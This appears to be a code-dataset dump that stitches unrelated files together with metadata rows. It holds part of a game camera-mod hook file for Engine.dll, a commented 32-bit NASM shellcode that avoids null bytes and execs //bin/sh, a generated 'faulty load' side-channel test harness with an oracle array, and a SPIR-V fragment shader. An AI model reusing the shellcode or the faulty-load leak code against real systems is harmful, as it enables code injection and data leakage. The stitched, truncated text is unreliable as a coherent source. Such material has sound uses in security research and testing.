;Engine.dll+2F2167 - 66 0F7F 99 E0000000 - movdqa [rcx+000000E0],xmm3 << row 4
;Engine.dll+2F216F - 0F28 07 - movaps xmm0,[rdi] << CONTINUE HERE
;Engine.dll+2F2172 - 0F28 4F 10 - movaps xmm1,[rdi+10]
;Engine.dll+2F2176 - 0F28 57 20 - movaps xmm2,[rdi+20]
;Engine.dll+2F217A - 0F28 5F 30 - movaps xmm3,[rdi+30]
;Engine.dll+2F217E - 66 0F7F 83 F0000000 - movdqa [rbx+000000F0],xmm0
;Engine.dll+2F2186 - 66 0F7F 8B 00010000 - movdqa [rbx+00000100],xmm1
;Engine.dll+2F218E - 66 0F7F 93 10010000 - movdqa [rbx+00000110],xmm2
;Engine.dll+2F2196 - 66 0F7F 9B 20010000 - movdqa [rbx+00000120],xmm3
;Engine.dll+2F219E - 48 8B 9C 24 30010000 - mov rbx,[rsp+00000130]
;Engine.dll+2F21A6 - 48 81 C4 20010000 - add rsp,00000120 { 288 }
;Engine.dll+2F21AD - 5F - pop rdi
;Engine.dll+2F21AE - C3 - ret
cmp byte ptr [g_cameraEnabled], 1
je exit
originalCode:
movdqa xmmword ptr [rcx+000000B0h],xmm0
movdqa xmmword ptr [rcx+000000C0h],xmm1
movdqa xmmword ptr [rcx+000000D0h],xmm2
movdqa xmmword ptr [rcx+000000E0h],xmm3
exit:
jmp qword ptr [_cameraWrite1InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraWrite1Interceptor ENDP
cameraWrite2Interceptor PROC
;Engine.dll+7121A7 - 0FC6 F0 C4 - shufps xmm6,xmm0,-3C { 196 }
;Engine.dll+7121AB - 0F28 C4 - movaps xmm0,xmm4
;Engine.dll+7121AE - 0F29 B7 B0000000 - movaps [rdi+000000B0],xmm6 << WRITE row 1 << INTERCEPT HERE
;Engine.dll+7121B5 - 0FC6 87 C0000000 FA - shufps xmm0,[rdi+000000C0],-06 { 250 }
;Engine.dll+7121BD - 41 0F28 73 F0 - movaps xmm6,[r11-10]
;Engine.dll+7121C2 - 0FC6 E0 C4 - shufps xmm4,xmm0,-3C { 196 }
;Engine.dll+7121C6 - 0F28 C5 - movaps xmm0,xmm5
;Engine.dll+7121C9 - 0F29 A7 C0000000 - movaps [rdi+000000C0],xmm4 << WRITE row 2
;Engine.dll+7121D0 - 0FC6 87 D0000000 FA - shufps xmm0,[rdi+000000D0],-06 { 250 }
;Engine.dll+7121D8 - 0FC6 E8 C4 - shufps xmm5,xmm0,-3C { 196 }
;Engine.dll+7121DC - 0F29 AF D0000000 - movaps [rdi+000000D0],xmm5 << WRITE row 3
;Engine.dll+7121E3 - 49 8B 7B 18 - mov rdi,[r11+18] << CONTINUE HERE
;Engine.dll+7121E7 - 49 8B E3 - mov rsp,r11
;Engine.dll+7121EA - 5D - pop rbp
;Engine.dll+7121EB - C3 - ret
cmp byte ptr [g_cameraEnabled], 1
jne originalCode
noWrites:
shufps xmm0,xmmword ptr [rdi+000000C0h],-06h
movaps xmm6,xmmword ptr [r11-10h]
shufps xmm4,xmm0,-3Ch
movaps xmm0,xmm5
shufps xmm0,xmmword ptr [rdi+000000D0h],-06h
shufps xmm5,xmm0,-3Ch
jmp exit
originalCode:
movaps xmmword ptr [rdi+000000B0h],xmm6
shufps xmm0,xmmword ptr [rdi+000000C0h],-06h
movaps xmm6,xmmword ptr [r11-10h]
shufps xmm4,xmm0,-3Ch
movaps xmm0,xmm5
movaps xmmword ptr [rdi+000000C0h],xmm4
shufps xmm0,xmmword ptr [rdi+000000D0h],-06h
shufps xmm5,xmm0,-3Ch
movaps xmmword ptr [rdi+000000D0h],xmm5
exit:
jmp qword ptr [_cameraWrite2InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraWrite2Interceptor ENDP
cameraWrite3Interceptor PROC
;Engine.dll+383400 - 48 8B 41 10 - mov rax,[rcx+10]
;Engine.dll+383404 - 48 85 C0 - test rax,rax
;Engine.dll+383407 - 74 38 - je Engine.dll+383441
;Engine.dll+383409 - 0F28 02 - movaps xmm0,[rdx]
;Engine.dll+38340C - 0F28 4A 10 - movaps xmm1,[rdx+10]
;Engine.dll+383410 - 0F28 52 20 - movaps xmm2,[rdx+20]
;Engine.dll+383414 - 0F28 5A 30 - movaps xmm3,[rdx+30]
;Engine.dll+383418 - 66 0F7F 80 B0000000 - movdqa [rax+000000B0],xmm0 << row 1 << INTERCEPT HERE
;Engine.dll+383420 - 66 0F7F 88 C0000000 - movdqa [rax+000000C0],xmm1 << row 2
;Engine.dll+383428 - 66 0F7F 90 D0000000 - movdqa [rax+000000D0],xmm2 << row 3
;Engine.dll+383430 - 66 0F7F 98 E0000000 - movdqa [rax+000000E0],xmm3 << row 4
;Engine.dll+383438 - 48 8B 49 10 - mov rcx,[rcx+10] << CONTINUE HERE
;Engine.dll+38343C - E9 D522CAFF - jmp Engine.Spider::danAnimationManager::findAnimationSet+C3
;Engine.dll+383441 - C3 - ret
cmp byte ptr [g_cameraEnabled], 1
je exit
originalCode:
movdqa xmmword ptr [rax+000000B0h],xmm0
movdqa xmmword ptr [rax+000000C0h],xmm1
movdqa xmmword ptr [rax+000000D0h],xmm2
movdqa xmmword ptr [rax+000000E0h],xmm3
exit:
jmp qword ptr [_cameraWrite3InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraWrite3Interceptor ENDP
fogWriteInterceptor PROC
;Engine.dll+377E91 - 66 0F7F 83 60010000 - movdqa [rbx+00000160],xmm0
;Engine.dll+377E99 - C6 83 A3020000 01 - mov byte ptr [rbx+000002A3],01 { 1 }
;Engine.dll+377EA0 - 8B 47 40 - mov eax,[rdi+40]
;Engine.dll+377EA3 - 89 83 70010000 - mov [rbx+00000170],eax
;Engine.dll+377EA9 - C6 83 A4020000 01 - mov byte ptr [rbx+000002A4],01 { 1 }
;Engine.dll+377EB0 - 8B 47 44 - mov eax,[rdi+44]
;Engine.dll+377EB3 - 89 83 74010000 - mov [rbx+00000174],eax
;Engine.dll+377EB9 - C6 83 A5020000 01 - mov byte ptr [rbx+000002A5],01 { 1 }
;Engine.dll+377EC0 - 8B 47 48 - mov eax,[rdi+48]
;Engine.dll+377EC3 - 89 83 80010000 - mov [rbx+00000180],eax
;Engine.dll+377EC9 - C6 83 A6020000 01 - mov byte ptr [rbx+000002A6],01 { 1 }
;Engine.dll+377ED0 - 8B 47 4C - mov eax,[rdi+4C]
;Engine.dll+377ED3 - C6 83 A3020000 01 - mov byte ptr [rbx+000002A3],01 { 1 }
;Engine.dll+377EDA - 89 83 78010000 - mov [rbx+00000178],eax << WRITE Fog. Block to overrule it. << INTERCEPT HERE
;Engine.dll+377EE0 - 8B 47 50 - mov eax,[rdi+50]
;Engine.dll+377EE3 - C6 83 A3020000 01 - mov byte ptr [rbx+000002A3],01 { 1 }
;Engine.dll+377EEA - 89 83 7C010000 - mov [rbx+0000017C],eax << CONTINUE HERE
;Engine.dll+377EF0 - 8B 47 54 - mov eax,[rdi+54]
;Engine.dll+377EF3 - C6 83 A3020000 01 - mov byte ptr [rbx+000002A3],01 { 1 }
;Engine.dll+377EFA - 89 83 A8010000 - mov [rbx+000001A8],eax
;Engine.dll+377F00 - 8B 47 58 - mov eax,[rdi+58]
;Engine.dll+377F03 - C6 83 A3020000 01 - mov byte ptr [rbx+000002A3],01 { 1 }
;Engine.dll+377F0A - 89 83 AC010000 - mov [rbx+000001AC],eax
;Engine.dll+377F10 - 8B 47 5C - mov eax,[rdi+5C]
;Engine.dll+377F13 - C6 83 A3020000 01 - mov byte ptr [rbx+000002A3],01 { 1 }
;Engine.dll+377F1A - 89 83 B0010000 - mov [rbx+000001B0],eax
mov [g_fogStructAddress], rbx
cmp byte ptr [g_cameraEnabled], 1
je exit
originalCode:
mov [rbx+00000178h],eax
exit:
mov eax,[rdi+50h]
mov byte ptr [rbx+000002A3h],01h
jmp qword ptr [_fogWriteInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
fogWriteInterceptor ENDP
todWriteInterceptor PROC
;Game.dll+5C1885 - 72 19 - jb Game.dll+5C18A0
;Game.dll+5C1887 - 8B 43 28 - mov eax,[rbx+28]
;Game.dll+5C188A - 66 0F1F 44 00 00 - nop [rax+rax+00]
;Game.dll+5C1890 - F3 41 0F58 C2 - addss xmm0,xmm10
;Game.dll+5C1895 - FF C0 - inc eax
;Game.dll+5C1897 - 41 0F2F C0 - comiss xmm0,xmm8
;Game.dll+5C189B - 73 F3 - jae Game.dll+5C1890
;Game.dll+5C189D - 89 43 28 - mov [rbx+28],eax
;Game.dll+5C18A0 - F3 0F10 4B 34 - movss xmm1,[rbx+34] << First address of non-jmp targets.
;Game.dll+5C18A5 - 41 0F2F C9 - comiss xmm1,xmm9
;Game.dll+5C18A9 - 44 0F28 54 24 50 - movaps xmm10,[rsp+50] << INTERCEPT HERE
;Game.dll+5C18AF - 44 0F28 44 24 70 - movaps xmm8,[rsp+70]
;Game.dll+5C18B5 - F3 0F11 43 2C - movss [rbx+2C],xmm0 << WRITE ToD. No need to block it as it is read above.
;Game.dll+5C18BA - 76 43 - jna Game.dll+5C18FF << CONTINUE
;Game.dll+5C18BC - F3 0F58 CA - addss xmm1,xmm2
;Game.dll+5C18C0 - 44 89 6B 34 - mov [rbx+34],r13d
;Game.dll+5C18C4 - C7 44 24 20 05000000 - mov [rsp+20],00000005 { 5 }
;Game.dll+5C18CC - C7 44 24 24 15000000 - mov [rsp+24],00000015 { 21 }
mov [g_todStructAddress], rbx
movaps xmm10, xmmword ptr [rsp+50h]
movaps xmm8, xmmword ptr [rsp+70h]
cmp byte ptr [g_cameraEnabled], 1
je exit
originalCode:
movss dword ptr [rbx+2Ch],xmm0
exit:
jmp qword ptr [_todWriteInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
todWriteInterceptor ENDP
gamespeedReadInterceptor PROC
;Engine.dll+4E5E1F - EB 03 - jmp Engine.dll+4E5E24
;Engine.dll+4E5E21 - 0F57 C9 - xorps xmm1,xmm1
;Engine.dll+4E5E24 - F3 0F10 47 24 - movss xmm0,[rdi+24] << INTERCEPT HERE << Read gamespeed. 1 is normal, 0 is pause.
;Engine.dll+4E5E29 - F3 0F59 47 20 - mulss xmm0,[rdi+20]
;Engine.dll+4E5E2E - F3 0F59 C1 - mulss xmm0,xmm1
;Engine.dll+4E5E32 - F3 0F5D 05 26A74500 - minss xmm0,[Engine.Spider::danPooledAnimTreeDesc::`vftable'+1AE8] << CONTINUE HERE
;Engine.dll+4E5E3A - F3 0F11 83 90000000 - movss [rbx+00000090],xmm0
;Engine.dll+4E5E42 - 48 8B 5C 24 40 - mov rbx,[rsp+40]
;Engine.dll+4E5E47 - 0F28 7C 24 20 - movaps xmm7,[rsp+20]
;Engine.dll+4E5E4C - 48 83 C4 30 - add rsp,30 { 48 }
;Engine.dll+4E5E50 - 5F - pop rdi
;Engine.dll+4E5E51 - C3 - ret
mov [g_gamespeedStructAddress], rdi
movss xmm0,dword ptr [rdi+24h]
mulss xmm0,dword ptr [rdi+20h]
mulss xmm0,xmm1
exit:
jmp qword ptr [_gamespeedReadInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
gamespeedReadInterceptor ENDP
END | 52.982993 | 150 | 0.653014 |
79b43c4b6792bfa99f8e6a458ce0f41cfadf0684 | 601 | asm | Assembly | Simple_Shell_ASM/shell.asm | Unam3dd/Train-2018-2020 | afb6ae70fe338cbe55a21b74648d91996b818fa2 | [
"MIT"
] | 4 | 2021-04-23T15:39:17.000Z | 2021-12-27T22:53:24.000Z | Simple_Shell_ASM/shell.asm | Unam3dd/Train-2018-2020 | afb6ae70fe338cbe55a21b74648d91996b818fa2 | [
"MIT"
] | null | null | null | Simple_Shell_ASM/shell.asm | Unam3dd/Train-2018-2020 | afb6ae70fe338cbe55a21b74648d91996b818fa2 | [
"MIT"
] | 2 | 2021-04-19T08:28:54.000Z | 2022-01-19T13:23:29.000Z | ;nasm -f bin shell.asm -o shell.bin
bits 32
shellcode:
; on reinitialise les registres suivant
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 11 ; on fais appel au syscall 11 execve al pour eviter les null-bytes
push ebx ; ebx = 0 on a notre null-bytes
push `n/sh`
push `//bi` ; on pousse sur la pile a lire de bas en haut donc //bin/sh
mov ebx, esp ; on met dans ebx l'addresse de notre chaine
; ecx et edx son deja (NULL) (0)
int 0x80 ; on execute l'appel systeme
mov al, 1
xor ebx, ebx
int 0x80 ; on sort du programme
| 23.115385 | 81 | 0.635607 |
6edeafbad0d3fa3356ba4a0f314b46ea1a45491e | 8,042 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_792.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_792.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_792.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xfab9, %r8
add %rax, %rax
mov (%r8), %r10d
nop
nop
and %r14, %r14
lea addresses_normal_ht+0x21eb, %rsi
nop
add %r13, %r13
mov (%rsi), %bx
nop
dec %rsi
lea addresses_UC_ht+0x10d1d, %rsi
nop
nop
dec %r14
mov (%rsi), %rax
nop
nop
cmp $60882, %rsi
lea addresses_D_ht+0x1224d, %r13
nop
nop
nop
nop
nop
xor $44976, %r14
mov (%r13), %eax
nop
nop
nop
nop
add $10335, %r10
lea addresses_normal_ht+0x17f6d, %r13
nop
nop
add %r8, %r8
mov (%r13), %r14d
nop
nop
nop
nop
xor $25080, %r13
lea addresses_UC_ht+0xe4d, %r13
nop
nop
nop
nop
add %rbx, %rbx
mov $0x6162636465666768, %r10
movq %r10, (%r13)
nop
add $17194, %r10
lea addresses_D_ht+0x1083d, %r8
nop
nop
nop
nop
nop
sub %rsi, %rsi
mov $0x6162636465666768, %r13
movq %r13, %xmm0
movups %xmm0, (%r8)
nop
nop
nop
nop
add $5759, %rax
lea addresses_WT_ht+0x15fcd, %rsi
lea addresses_A_ht+0x4cbf, %rdi
nop
nop
nop
nop
sub %r10, %r10
mov $56, %rcx
rep movsl
and $28096, %rdi
lea addresses_WC_ht+0x1d24d, %rsi
lea addresses_normal_ht+0x1bf88, %rdi
nop
nop
nop
add %r14, %r14
mov $30, %rcx
rep movsl
nop
nop
and %rdi, %rdi
lea addresses_UC_ht+0x714d, %rax
inc %r10
vmovups (%rax), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %r13
nop
add %rsi, %rsi
lea addresses_WT_ht+0x6e4d, %rbx
nop
nop
nop
nop
nop
sub $10238, %rcx
mov (%rbx), %r13d
nop
nop
nop
and %rax, %rax
lea addresses_normal_ht+0x11a75, %rsi
lea addresses_A_ht+0x1964d, %rdi
nop
nop
nop
sub %rbx, %rbx
mov $54, %rcx
rep movsb
nop
nop
nop
add $49308, %rbx
lea addresses_WC_ht+0x10879, %rsi
lea addresses_UC_ht+0x424d, %rdi
nop
nop
nop
nop
add $42669, %r13
mov $67, %rcx
rep movsw
nop
nop
nop
nop
and $58072, %rbx
lea addresses_WC_ht+0x8c0b, %r13
nop
add %rcx, %rcx
mov (%r13), %r10
nop
nop
nop
nop
nop
and %r10, %r10
lea addresses_WT_ht+0x264d, %rcx
clflush (%rcx)
nop
nop
dec %rbx
mov $0x6162636465666768, %rax
movq %rax, (%rcx)
nop
nop
and $35444, %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r14
push %r9
push %rdx
// Store
lea addresses_WT+0xb72d, %rdx
nop
nop
nop
and $52179, %r13
mov $0x5152535455565758, %r12
movq %r12, %xmm7
vmovups %ymm7, (%rdx)
nop
nop
nop
cmp %rdx, %rdx
// Faulty Load
lea addresses_normal+0xa64d, %r9
nop
nop
nop
nop
nop
sub %r13, %r13
mov (%r9), %r14
lea oracles, %rdx
and $0xff, %r14
shlq $12, %r14
mov (%rdx,%r14,1), %r14
pop %rdx
pop %r9
pop %r14
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': True, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 32.558704 | 2,999 | 0.657299 |
18f956729defc30a0e332ce657c2fb2673bc9fbf | 4,817 | asm | Assembly | coverage/PENDING_SUBMIT/amdvlk/0616-COVERAGE-instruction-simplify-4051-4151/work/variant/1_spirv_asm/shader.frag.asm | asuonpaa/ShaderTests | 6a3672040dcfa0d164d313224446496d1775a15e | [
"Apache-2.0"
] | null | null | null | coverage/PENDING_SUBMIT/amdvlk/0616-COVERAGE-instruction-simplify-4051-4151/work/variant/1_spirv_asm/shader.frag.asm | asuonpaa/ShaderTests | 6a3672040dcfa0d164d313224446496d1775a15e | [
"Apache-2.0"
] | 47 | 2021-03-11T07:42:51.000Z | 2022-03-14T06:30:14.000Z | coverage/PENDING_SUBMIT/amdvlk/0616-COVERAGE-instruction-simplify-4051-4151/work/variant/1_spirv_asm/shader.frag.asm | asuonpaa/ShaderTests | 6a3672040dcfa0d164d313224446496d1775a15e | [
"Apache-2.0"
] | 4 | 2021-03-09T13:37:19.000Z | 2022-02-25T07:32:11.000Z | ; SPIR-V
; Version: 1.0
; Generator: Khronos Glslang Reference Front End; 10
; Bound: 90
; Schema: 0
OpCapability Shader
%1 = OpExtInstImport "GLSL.std.450"
OpMemoryModel Logical GLSL450
OpEntryPoint Fragment %4 "main" %13 %77
OpExecutionMode %4 OriginUpperLeft
OpSource ESSL 320
OpName %4 "main"
OpName %9 "ipos"
OpName %13 "gl_FragCoord"
OpName %19 "a"
OpName %46 "v"
OpName %50 "tex"
OpName %77 "_GLF_color"
OpName %85 "indexable"
OpDecorate %13 BuiltIn FragCoord
OpDecorate %50 RelaxedPrecision
OpDecorate %50 DescriptorSet 0
OpDecorate %50 Binding 0
OpDecorate %51 RelaxedPrecision
OpDecorate %54 RelaxedPrecision
OpDecorate %77 Location 0
%2 = OpTypeVoid
%3 = OpTypeFunction %2
%6 = OpTypeInt 32 1
%7 = OpTypeVector %6 2
%8 = OpTypePointer Function %7
%10 = OpTypeFloat 32
%11 = OpTypeVector %10 4
%12 = OpTypePointer Input %11
%13 = OpVariable %12 Input
%14 = OpTypeVector %10 2
%18 = OpTypePointer Function %6
%20 = OpTypeInt 32 0
%21 = OpConstant %20 0
%24 = OpConstant %6 5
%26 = OpConstant %20 1
%32 = OpConstant %6 10
%42 = OpConstant %6 3
%43 = OpTypeBool
%45 = OpTypePointer Function %11
%47 = OpTypeImage %10 2D 0 0 0 1 Unknown
%48 = OpTypeSampledImage %47
%49 = OpTypePointer UniformConstant %48
%50 = OpVariable %49 UniformConstant
%52 = OpConstant %10 1
%53 = OpConstantComposite %14 %52 %52
%60 = OpTypePointer Function %10
%63 = OpConstant %10 2
%65 = OpConstant %6 4
%69 = OpConstant %6 0
%76 = OpTypePointer Output %11
%77 = OpVariable %76 Output
%78 = OpConstant %20 4
%79 = OpTypeArray %11 %78
%80 = OpConstant %10 0
%81 = OpConstantComposite %11 %52 %80 %80 %52
%82 = OpConstantComposite %79 %81 %81 %81 %81
%84 = OpTypePointer Function %79
%89 = OpConstantComposite %11 %80 %80 %80 %80
%4 = OpFunction %2 None %3
%5 = OpLabel
%9 = OpVariable %8 Function
%19 = OpVariable %18 Function
%46 = OpVariable %45 Function
%85 = OpVariable %84 Function
%15 = OpLoad %11 %13
%16 = OpVectorShuffle %14 %15 %15 0 1
%17 = OpConvertFToS %7 %16
OpStore %9 %17
%22 = OpAccessChain %18 %9 %21
%23 = OpLoad %6 %22
%25 = OpBitwiseAnd %6 %23 %24
%27 = OpAccessChain %18 %9 %26
%28 = OpLoad %6 %27
%29 = OpBitwiseAnd %6 %28 %24
%30 = OpAccessChain %18 %9 %21
%31 = OpLoad %6 %30
%33 = OpBitwiseAnd %6 %31 %32
%34 = OpBitwiseOr %6 %29 %33
%35 = OpIAdd %6 %25 %34
OpStore %19 %35
OpBranch %36
%36 = OpLabel
OpLoopMerge %38 %39 None
OpBranch %40
%40 = OpLabel
%41 = OpLoad %6 %19
%44 = OpSGreaterThan %43 %41 %42
OpBranchConditional %44 %37 %38
%37 = OpLabel
%51 = OpLoad %48 %50
%54 = OpImageSampleImplicitLod %11 %51 %53
OpStore %46 %54
OpBranch %55
%55 = OpLabel
OpLoopMerge %57 %58 None
OpBranch %59
%59 = OpLabel
%61 = OpAccessChain %60 %46 %21
%62 = OpLoad %10 %61
%64 = OpFOrdGreaterThan %43 %62 %63
OpBranchConditional %64 %56 %57
%56 = OpLabel
OpBranch %58
%58 = OpLabel
OpBranch %55
%57 = OpLabel
%66 = OpLoad %6 %19
%67 = OpISub %6 %66 %65
OpStore %19 %67
OpBranch %39
%39 = OpLabel
OpBranch %36
%38 = OpLabel
%68 = OpLoad %6 %19
%70 = OpSGreaterThanEqual %43 %68 %69
%71 = OpLoad %6 %19
%72 = OpSLessThan %43 %71 %65
%73 = OpLogicalAnd %43 %70 %72
OpSelectionMerge %75 None
OpBranchConditional %73 %74 %88
%74 = OpLabel
%83 = OpLoad %6 %19
OpStore %85 %82
%86 = OpAccessChain %45 %85 %83
%87 = OpLoad %11 %86
OpStore %77 %87
OpBranch %75
%88 = OpLabel
OpStore %77 %89
OpBranch %75
%75 = OpLabel
OpReturn
OpFunctionEnd
| 34.407143 | 54 | 0.484326 |
321709dec17961753cba35a5f0c234ca39d7e911 | 8,034 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_4k_sm_/i3-7100_9_0xca_notsx.log_1526_751.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_4k_sm_/i3-7100_9_0xca_notsx.log_1526_751.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_4k_sm_/i3-7100_9_0xca_notsx.log_1526_751.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
